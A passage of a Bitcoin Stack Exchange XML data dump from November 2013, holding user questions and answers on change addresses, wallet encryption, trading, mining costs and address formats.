rel=&quot;nofollow&quot;&gt;18888888PPJ8oGeqR6AKmoiKUme9da48Xf&lt;/a&gt; (which had a balance of &lt;code&gt;2.3899 BTC&lt;/code&gt;). He then spent &lt;code&gt;2 BTC&lt;/code&gt; on something. The &lt;em&gt;&quot;change&quot;&lt;/em&gt; is then routed back to a new address inside his client (&lt;a href=&quot;https://blockchain.info/address/18888888PPJ8oGeqR6AKmoiKUme9da48Xf&quot; rel=&quot;nofollow&quot;&gt;18888888PPJ8oGeqR6AKmoiKUme9da48Xf&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;You never see this address&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The problem is that now you own another address; another randomly generated public/private key pair. If you lost your wallet right now, and restored from a backup, you would not have access to that change, because you don't have the key pair for this new, secret, hidden, address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only backup the key pair for your single &quot;real&quot; address. With every transaction BitCoinQt creates internal, secret, invisible addresses. They are hidden inside your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to backup &lt;strong&gt;&lt;em&gt;all&lt;/em&gt;&lt;/strong&gt; my public-private key pairs to paper. But before i reach that point, i want to be &lt;strong&gt;&lt;em&gt;see&lt;/em&gt;&lt;/strong&gt; all my public-private key pairs. i need to see all my addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i see all my BitCoin addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BitCoinQt&lt;/strong&gt;: v0.8.1-beta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, in order to ensure the security of my BitCoins, after every transaction should i generate a transaction &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;From&lt;/strong&gt;: me&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;To&lt;/strong&gt;: me&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so that all my coins end up in a &lt;em&gt;&quot;real&quot;&lt;/em&gt; address, which i can then backup? Is that something that is a best practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Losing BitCoins because my money was sitting in secret addresses was...depressing.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Bonus Chatter&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;From the BitCoin wiki entry for &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;Change&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The wallet file contains the private keys for change addresses, and they can receive and send coins normally. However, the GUI in the default client does not display them in the address book.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also note: i'm not talking about backing up to a &lt;code&gt;wallet.dat&lt;/code&gt; file. That will backup my wallet, but to a file. i have a backup of my single address; which is insufficient because my single address no longer has any bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2446" LastActivityDate="2013-11-19T19:14:59.833" Title="Where can i see my BitCoin addresses?" Tags="|bitcoin-core|change|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-19T22:24:45.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="16914" PostTypeId="2" ParentId="16913" CreationDate="2013-11-19T19:14:59.833" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;pywallet&lt;/a&gt; to look at all the addresses and keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console command listaddressgroupings should also give you all your addresses, grouped by known co-ownership. You can then use dumpprivkey to get the corresponding key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, backing up just specific keys is not a recommend practice, you should back up the wallet file. If you do want a more concise method, you should use a client that supports deterministic wallets.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-19T19:14:59.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16915" PostTypeId="1" AcceptedAnswerId="16935" CreationDate="2013-11-19T19:18:42.743" Score="2" ViewCount="280" Body="&lt;p&gt;My employer can write off business expenses (my salary) if he pays me via wire transfer, PayPal, Payoneer and some other international payment systems. Is there a tax-deductible method for him to buy Bitcoin and send it to my wallet (or to my account from where I can withdraw to my wallet)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no good in legal terms, so feel free to edit the question if you understand what I'm talking about.&lt;/p&gt;&#xA;" OwnerUserId="8994" LastEditorUserId="8994" LastEditDate="2013-11-20T07:59:33.007" LastActivityDate="2013-11-20T07:59:33.007" Title="Tax deduction for US-based employer paying in Bitcoin to overseas contractor" Tags="|legal|taxes|accounting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16916" PostTypeId="1" CreationDate="2013-11-19T19:54:05.977" Score="-1" ViewCount="69" Body="&lt;p&gt;That's it...whenever currencies are traded, the possibility of a K-1 form arises, and since we're dealing with the dollar and the bitcoin here, and some people just trade the two without using them for a &quot;pay-pal&quot; purchase,it seems like a reasonable question.&lt;/p&gt;&#xA;" OwnerUserId="8996" LastEditorUserId="5406" LastEditDate="2013-11-21T00:25:45.970" LastActivityDate="2013-11-21T00:25:45.970" Title="Does using bitcoins require a &quot;K-1&quot; under some circumstances?" Tags="|trading|legal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16917" PostTypeId="1" CreationDate="2013-11-19T20:51:21.823" Score="2" ViewCount="1361" Body="&lt;p&gt;I want to understand something very basic. How does trading work between BTC &amp;amp; USD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have 1 BTC at US 100. The naive idea is &quot;buy low&quot; and &quot;sell high&quot;. But I don't grasp how that work, ie, how is possible to profit in both directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value of BTC change this way (value in USD):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;110 85 102 40 70 90 115 130 100 200&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What I need to do to turn a profit? And if my plan is that I don't lose more than I invest at the start?&lt;/p&gt;&#xA;" OwnerUserId="8997" LastEditorUserId="5406" LastEditDate="2016-01-20T21:14:55.353" LastActivityDate="2016-01-20T21:14:55.353" Title="Need help understanding how to profit from bitcoin trading (like forex?)" Tags="|trading|bots|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16918" PostTypeId="1" AcceptedAnswerId="17000" CreationDate="2013-11-19T20:56:25.020" Score="26" ViewCount="66333" Body="&lt;p&gt;I understand the idea behind 'bid walls', but on &lt;a href=&quot;https://www.kraken.com/market&quot; rel=&quot;noreferrer&quot; title=&quot;Kraken&quot;&gt;Kraken&lt;/a&gt;, prices are being kept low through the use of 'sell walls'.  The volume on this exchange is too low to have a chance of getting through these walls, even when prices on other exchanges are skyrocketing. Every so often, when the price falls a bit, up comes a new 'buy wall' keeping it there. The price on Kraken falls when other markets fall, but gets stopped at the wall on the way back up.  I am curious to know what the strategy behind this tactic could be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIuPe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LVTDY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Added 21 Nov for elucidation&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this small volume exchange, a 30 BTC ask equals 10% of the 24hr. volume.  It is the equivalent of a 4500 BTC ask on Bitstamp.  It alters the way bidders approach the market.  When you see such a wall sitting just above the current price, you can be sure the price will not be rising beyond it for at least the next few hours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched this person re-position this block four times over the course of the day.  Each time, lowering it to sit just above the current bid price.  It was altering the dynamics of this small volume exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not asking for you to read anyone’s mind.  I was baffled by this behavior.  I had not seen this strategy before.  I thought that there must be some method to this madness, but I could not see what I might be.  I thought that somewhere in the collective experiences of Stack Exchange there might be someone who was familiar with this strategy and might be able to provide some insight, not necessarily on this person’s behavior, but on the theory behind the strategy being employed.  Assuming, of course, that there is one.&lt;/p&gt;&#xA;" OwnerUserId="8708" LastEditorUserId="8708" LastEditDate="2013-11-21T08:08:29.117" LastActivityDate="2023-01-21T07:36:33.490" Title="What is the strategy behind a sell wall?" Tags="|exchanges|buy-bitcoins|sell-bitcoins|" AnswerCount="7" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16919" PostTypeId="2" ParentId="16563" CreationDate="2013-11-19T22:45:47.927" Score="0" Body="&lt;p&gt;Alas, Kolivas and Kanoi (cgminer maintainers) don't actively support OSX, although it compiles and runs fairly problem-free on OSX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, all your attempts to &lt;em&gt;download&lt;/em&gt; cgminer have failed? That is, you are unable to get a running, compiled binary on to your computer? Or have you tried running, e.g. &lt;a href=&quot;http://spaceman.ca/cgminer/&quot; rel=&quot;nofollow&quot;&gt;http://spaceman.ca/cgminer/&lt;/a&gt; and it has failed to launch? Try the program provided by the link, and tell us how it goes.&lt;/p&gt;&#xA;" OwnerUserId="682" LastActivityDate="2013-11-19T22:45:47.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16920" PostTypeId="2" ParentId="11575" CreationDate="2013-11-19T23:00:14.743" Score="0" Body="&lt;p&gt;If you are not connected to a trusted rippld server then you must make sure all your transactions are signed with your account secret key before submitted them to a public or untrusted rippld server for propagation on the network.&lt;/p&gt;&#xA;" OwnerUserId="9004" LastActivityDate="2013-11-19T23:00:14.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16922" PostTypeId="2" ParentId="16563" CreationDate="2013-11-20T00:04:06.550" Score="0" Body="&lt;p&gt;Try out &lt;a href=&quot;http://www.asteroidapp.com/&quot; rel=&quot;nofollow&quot;&gt;Asteroid&lt;/a&gt; - it's a graphical UI built on top of cgminer for OSX.&lt;/p&gt;&#xA;" OwnerUserId="7453" LastActivityDate="2013-11-20T00:04:06.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16924" PostTypeId="2" ParentId="16917" CreationDate="2013-11-20T00:47:53.247" Score="1" Body="&lt;p&gt;Pretty simple. You just make money on the differences when you buy/sell (taking in to account fees).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, you start with 1 BTC purchased at $100 USD.  Assuming no fees, you would:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sell at $110 (Profit: $10)&lt;/li&gt;&#xA;&lt;li&gt;Buy at $85&lt;/li&gt;&#xA;&lt;li&gt;Sell at $102 (Profit: $17, total: $27)&lt;/li&gt;&#xA;&lt;li&gt;... and  so forth&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, you could get even more creative, since you can purchase fractions of BTC.  In this case, you could:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sell at $110 (Profit $10)&lt;/li&gt;&#xA;&lt;li&gt;Buy 1.294 BTC at $85 each for $109.99&lt;/li&gt;&#xA;&lt;li&gt;Sell at $102 for $131.98 (Total Profit: $31.98)&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7453" LastActivityDate="2013-11-20T00:47:53.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16925" PostTypeId="1" CreationDate="2013-11-20T00:50:59.073" Score="2" ViewCount="1920" Body="&lt;p&gt;I encrypted my wallet using Bitcoin QT, then closed the application. When I restarted Bitcoin QT, it did not ask for the passphrase. But I could still access the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible to access an encrypted wallet without the passphrase? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it save the passphrase somewhere? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose of encrypting a wallet and not requiring the passphrase? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you re-install Bitcoin QT do you need to enter the passphrase? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you transfer the wallet.dat file to another computer? Would you need the passphrase to access it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you need the passphrase to access a backup of the wallet file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you need the passphrase to access a copy of the wallet file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched and did not find basic information about using Bitcoin QT. Is there documentation somewhere?&lt;/p&gt;&#xA;" OwnerUserId="9007" LastEditorUserId="9007" LastEditDate="2013-11-20T01:00:16.980" LastActivityDate="2013-11-27T22:51:40.360" Title="How does the Bitcoin Standard Client wallet encryption work?" Tags="|wallet|security|bitcoin-core|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16926" PostTypeId="1" AcceptedAnswerId="16931" CreationDate="2013-11-20T01:19:24.900" Score="1" ViewCount="511" Body="&lt;p&gt;My theory is that if you are mining in the winter you should discount power costs completely, since the heat generated by your miner will contribute to the heating of your home and thus cause your heating system to run less.  Is this valid?  The profitability calculators don't seem to take this into account.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2016-04-28T13:25:36.450" LastActivityDate="2016-04-28T13:25:36.450" Title="disregard power costs for mining in the winter?" Tags="|mining-profitability|mining-setup|energy-consumption|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-22T23:05:13.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="16927" PostTypeId="1" AcceptedAnswerId="16932" CreationDate="2013-11-20T01:52:39.167" Score="0" ViewCount="310" Body="&lt;p&gt;I followed the prices of Bitcoins during this day, but I am actually very cofused as to why &lt;a href=&quot;http://preev.com/&quot; rel=&quot;nofollow&quot;&gt;Preev&lt;/a&gt; reports it always about $70-$100 less than &lt;a href=&quot;http://bitcoinity.org/markets&quot; rel=&quot;nofollow&quot;&gt;Bitcoinity&lt;/a&gt;. News websites say the price soared to $900 today, which fits Bitcoinity's chart, but I also see people on the BitcoinTalk forums saying it is $500 now, which fits Preev's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand Bitcoinity says that &quot;the big number here is the price at which last trade was made&quot;. But since I also understand there is no institution that decides an &quot;exchange rate&quot; for Bitcoins, could I assume it as the price of the last trades? Why such a big difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Now Preev is reporting more, but it is still a big difference compared to Bitcoinity. Just as a reference, when I wrote this question, Preev was reporting about $510, whereas Bitcoinity $600.&lt;/p&gt;&#xA;" OwnerDisplayName="anon" LastEditorDisplayName="anon" LastEditDate="2013-11-20T02:32:39.647" LastActivityDate="2013-11-20T02:35:14.560" Title="Understanding Bitcoin prices" Tags="|exchange-rate|charts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16928" PostTypeId="2" ParentId="16925" CreationDate="2013-11-20T02:18:52.510" Score="4" Body="&lt;p&gt;You only need the passphrase to do certain things like send bitcoins or change the passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The encryption itself is attached to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;nofollow&quot;&gt;wallet.dat&lt;/a&gt; file which contains &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keypairs for each of your addresses&lt;/li&gt;&#xA;&lt;li&gt;transactions done from/to your addresses&lt;/li&gt;&#xA;&lt;li&gt;user preferences&lt;/li&gt;&#xA;&lt;li&gt;default key&lt;/li&gt;&#xA;&lt;li&gt;reserve keys&lt;/li&gt;&#xA;&lt;li&gt;accounts&lt;/li&gt;&#xA;&lt;li&gt;a version number&lt;/li&gt;&#xA;&lt;li&gt;Key pool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and if you ever want to switch your wallet or add the same wallet to a different computer, this is what you would actually be making a copy of. And because this is the file that's encrypted your passphrase will move along with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not need a password to make a copy of it, but making a copy of it, doesn't give you access to the coins. Unless your using a hosted wallet, then you need to make copy of your wallet yourself. Put them on a flash drive or another computer, or maybe even in a safety deposit box.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-20T02:18:52.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16929" PostTypeId="2" ParentId="16640" CreationDate="2013-11-20T02:23:27.127" Score="1" Body="&lt;p&gt;Financial bubbles historically are crashes of a market that proved in retrospect to have no underlying value. Despite what novices say, bitcoin has a hefty underlying value quite apart from the speculative measure of its fiat currency exchange value. That value consists of its proven global reach as a cheap, reliable payments remittance vehicle that is immune to fraud or revocation while providing a financial onramp for that half of the world's population that is chronically unbanked. This single characteristic of financial inclusion is of immense &quot;value.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we see from time to time in the fiat exchange markets for bitcoin (such as Mt.Gox, BTCChina or CaVirtex) is actually no more than a simple &quot;correction,&quot; or yesterday, a &quot;sharp correction.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bubbles burst and disappear, just like a... well, bubble! &lt;/p&gt;&#xA;" OwnerUserId="4911" LastActivityDate="2013-11-20T02:23:27.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16931" PostTypeId="2" ParentId="16926" CreationDate="2013-11-20T02:26:04.220" Score="2" Body="&lt;p&gt;This would be approximately true, &lt;strong&gt;if&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Your regular heating system is a resistive electrical heater.  (Not gas or oil, not a heat pump.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your mining rig produces no more heat than is needed to heat your house at any given time.  (This may be false for people with lots of hardware, or living in warm climates.  Note also that your heating needs may be much less some times of day; for instance, you probably turn down your heat when you're away from home or asleep.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your heating system is controlled by a thermostat in your own living space (some people in multi-unit buildings have a single thermostat for the building, or some open-loop system)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You normally pay for the electricity used by your heating system (rather than having it included in rent, for instance) and at the same price as domestic electricity use&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The heat from your mining rig is circulated through your house just as efficiently as your heating system does it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect that users for whom all of these are true are in the minority.  But in general, it is true that the electricity cost can be offset to some extent by reduced heating costs; to what extent depends on each individual's situation, so it's not clear how a general-purpose calculator should account for it.  Therefore, they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that by the same token, running your mining rig in the summer may incur additional cooling costs.  Mining calculators typically don't consider that, either.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-11-20T02:40:24.613" LastActivityDate="2013-11-20T02:40:24.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16932" PostTypeId="2" ParentId="16927" CreationDate="2013-11-20T02:35:14.560" Score="1" Body="&lt;p&gt;Different exchanges will offer different rates at the same time because of variations in trading volume, markets, etc. This happens in real currency markets, as well. With enough money it is even possible to play the currency market, &quot;buying&quot; dollars with Euros, then buying yen with dollars, then buying euros with yen, and coming out ahead.&lt;/p&gt;&#xA;" OwnerUserId="3483" LastActivityDate="2013-11-20T02:35:14.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16933" PostTypeId="1" CreationDate="2013-11-20T02:51:29.823" Score="6" ViewCount="16671" Body="&lt;p&gt;Is it lost forever?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about the reverse: sending Litecoin to a Bitcoin address?&lt;/p&gt;&#xA;" OwnerUserId="9013" LastActivityDate="2017-12-22T15:35:32.837" Title="What happens if you send Bitcoin to a Litecoin address?" Tags="|address|litecoin|alternatives|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16934" PostTypeId="2" ParentId="16933" CreationDate="2013-11-20T03:15:43.423" Score="10" Body="&lt;p&gt;A Bitcoin or Litecoin address consists of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a prefix byte&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a 160-bit hash of a public key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a 32-bit checksum&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;all base-58 encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin and Litecoin use different prefix bytes; this is why most Bitcoin addresses start with &lt;code&gt;1&lt;/code&gt;, while most Litecoin addresses start with &lt;code&gt;L&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use a Bitcoin client to try to send money to an address, it should perform a number of checks on that address.  One of those checks would be the prefix byte.  When it notices that the address doesn't have the correct prefix byte for Bitcoin, it should barf, complaining that you have specified an invalid address.  It wouldn't try to create a transaction at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for practical purposes, the answer to the question is &quot;you can't do it&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies if you try to send Litecoins to a Bitcoin address - the prefix byte would not match the Litecoin client's expectation, so it would reject the address and refuse to create a transaction.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In theory, if you somehow used a broken client that did not check the prefix byte, it might actually generate a transaction whose output specified the 160-bit hash of the public key corresponding to the Litecoin address (call this hash value H).  The hash is the only part of the address that is actually used in creating a transaction.  Since all possible 160-bit numbers are potentially valid hashes, there would be no way to tell that H had come from a Litecoin rather than a Bitcoin key, so this would be a valid Bitcoin transaction.  (I got this wrong in a previous version of the answer.)  The transaction could only be spent by a Bitcoin transaction, signed with a private key whose public key had the hash H.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I believe (though I am not completely sure) that Litecoin uses exactly the same ECDSA signature algorithms as Bitcoin.  Therefore, if you (or someone else) has the private key for the Litecoin address, both Bitcoin and Litecoin should agree as to what the corresponding public key is, and agree that it has hash H.  So in principle, the private key holder would be able to import this key into a Bitcoin wallet and use it to spend the coins sent to the Litecoin address by the broken client.  (They couldn't import the key directly, again because the prefix byte would be wrong; but they could decode the base58-encoded Litecoin private key string, extract the 256-bit number which is the actual private key, prefix it with the appropriate Bitcoin prefix byte, recalculate the checksum, and re-encode the whole thing in base 58.  The result would be suitable to import into a standard Bitcoin wallet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am wrong about this, and Bitcoin and Litecoin handle keys and signatures differently, then most likely there would be no feasible way to find a private key whose public key's hash (computed by Bitcoin's rules) was equal to H.  In that case, the coins sent to that address would be lost forever.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2015-07-08T06:32:54.713" LastActivityDate="2015-07-08T06:32:54.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16935" PostTypeId="2" ParentId="16915" CreationDate="2013-11-20T05:03:30.567" Score="1" Body="&lt;p&gt;I don't at all see why he couldn't purchase bitcoin through Coinbase or similar and deduct it. That should be entirely deductible, even the fees paid to buy the bitcoin (bank fees plus whatever Coinbase is charging these days).&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-20T05:03:30.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16936" PostTypeId="1" CreationDate="2013-11-20T07:17:05.923" Score="5" ViewCount="1967" Body="&lt;p&gt;I am looking for information about the various IOUs issued by Ripple Gateways and what fees are associated with using them - namely fees to get the IOUs and transit fees.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-09-02T04:38:26.427" Title="Is there a comprehensive list of Gateways' IOUs and fees associated with using them?" Tags="|ripple|transaction-fees|ripple-gateways|iou|transit-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16938" PostTypeId="1" AcceptedAnswerId="18162" CreationDate="2013-11-20T07:49:34.513" Score="1" ViewCount="2958" Body="&lt;p&gt;I type this into command on windows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\developer\Desktop\cgminer-3.7.0-windows\cgminer.exe --scrypt -o stratum+tcp://coinotron.com:3334 -u exploithb.1 -p x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it looks like its working, Im getting 1.4 MH/s for lite coin. But when i log into coinotron i don't see my workers Speed value and It stays at 0.0 KH/s. Could it be that I'm doing something wrong? I let it sit for a half hour to see if i see any updates and nothing ever shows up.&lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="5406" LastEditDate="2016-04-28T13:41:06.073" LastActivityDate="2016-04-28T13:41:06.073" Title="Coinotron wont show updates from cgminer" Tags="|mining-pools|litecoin|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16939" PostTypeId="1" CreationDate="2013-11-20T08:45:39.827" Score="1" ViewCount="209" Body="&lt;p&gt;I want to get bitcoin ,not Dollars.&lt;br&gt;&#xA;A friend of mine wants to travel to China next month.The prize of bitcoin in China is higher than America.So he think it is good way to change Dollars into RMB.&lt;br&gt;&#xA;So I come up with this question.&lt;/p&gt;&#xA;" OwnerUserId="9027" LastActivityDate="2013-11-20T08:45:39.827" Title="How long it would take if I withdraw bitcoin to my bitcoin address through mtgox?" Tags="|mtgox|withdrawal|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16940" PostTypeId="1" AcceptedAnswerId="16953" CreationDate="2013-11-20T09:53:23.523" Score="13" ViewCount="27472" Body="&lt;p&gt;I'm trying to understand Bitcoin mining (software-wise), and I wonder how ASIC miners are different? I'm going through this &lt;a href=&quot;https://github.com/lithander/Minimal-Bitcoin-Miner&quot;&gt;minimal Bitcoin miner Github repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which part of &lt;a href=&quot;https://github.com/lithander/Minimal-Bitcoin-Miner/blob/master/MiniMiner/Program.cs&quot;&gt;Program.cs&lt;/a&gt; are ASICs optimizing (I guess &lt;a href=&quot;https://github.com/lithander/Minimal-Bitcoin-Miner/blob/master/MiniMiner/Program.cs#L90&quot;&gt;Program.cs line 90&lt;/a&gt;)? Where can I read more about in-depth working of miners? Is there any documentation? &lt;/p&gt;&#xA;" OwnerUserId="9029" LastEditorUserId="5406" LastEditDate="2016-03-10T14:51:06.520" LastActivityDate="2018-08-26T13:13:53.667" Title="What are ASIC miners actually doing?" Tags="|asic|mining-technical-details|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16941" PostTypeId="2" ParentId="1732" CreationDate="2013-11-20T10:27:30.887" Score="0" Body="&lt;p&gt;There is a pretty comprehensive list over at &lt;a href=&quot;http://tradeli.st&quot; rel=&quot;nofollow&quot;&gt;TradeLi.st&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC-e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fiat&#xA;&#xA; BTC/USD  BTC/RUR  BTC/EUR  LTC/USD  LTC/RUR  LTC/EUR  NMC/USD  NVC/USD  USD/RUR  EUR/USD&#xA;&#xA;Crypto&#xA;&#xA; LTC/BTC  NMC/BTC  NVC/BTC  TRC/BTC  PPC/BTC  FTC/BTC  XPM/BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Coinex, Virtuex, Cryptsy (too many to list)&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2013-11-20T10:27:30.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16942" PostTypeId="1" AcceptedAnswerId="16959" CreationDate="2013-11-20T10:33:34.723" Score="6" ViewCount="4002" Body="&lt;p&gt;Someone could buy or mine bitcoins, and send them in small transactions all day to spam the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? And could this mean the end of the trust people have in bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what if someone makes bigger than 0.01 BTC transactions from one of his address to another all day. Making thousands of meaningless transactions, those totally spamming the blockchain. That wouldn't even cost much I believe. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="9030" LastEditorUserId="132" LastEditDate="2014-01-13T14:34:07.100" LastActivityDate="2015-05-04T22:07:09.337" Title="Is it possible to spam the bitcoin network with 'dust'?" Tags="|blockchain|attack|dust|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
